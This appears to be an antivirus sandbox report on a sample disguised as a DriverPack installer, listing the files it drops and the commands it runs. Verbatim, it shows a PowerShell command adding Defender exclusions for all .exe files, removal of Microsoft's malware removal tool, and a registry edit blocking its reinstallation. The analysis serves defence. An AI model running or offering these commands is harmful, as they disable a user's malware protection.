Technical Information
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath @($env:ProgramData, 'C:\Users\Public') -ExclusionExtension '.exe' -Force"
Modifies file system
Creates the following files
- <Current directory>\driverpack-solution.exe
- %TEMP%\nsa592d.tmp
- %TEMP%\nsl59bb.tmp\iospecial.ini
- %TEMP%\nsl59bb.tmp\installoptions.dll
- %TEMP%\nsl59bb.tmp\modern-wizard.bmp
- %TEMP%\nsl59bb.tmp\modern-header.bmp
Miscellaneous
Creates and executes the following
- '<Current directory>\driverpack-solution.exe'
Executes the following
- '<SYSTEM32>\cmd.exe' /c "wusa /uninstall /kb:890830 /quiet /norestart"
- '<SYSTEM32>\wusa.exe' /uninstall /kb:890830 /quiet /norestart
- '<SYSTEM32>\cmd.exe' /c "del /f /q <SYSTEM32>\MRT.exe"
- '<SYSTEM32>\cmd.exe' /c "reg add HKLM\SOFTWARE\Policies\Microsoft\MRT /v DontOfferThroughWUAU /t REG_DWORD /d 1 /f"
- '<SYSTEM32>\reg.exe' add HKLM\SOFTWARE\Policies\Microsoft\MRT /v DontOfferThroughWUAU /t REG_DWORD /d 1 /f
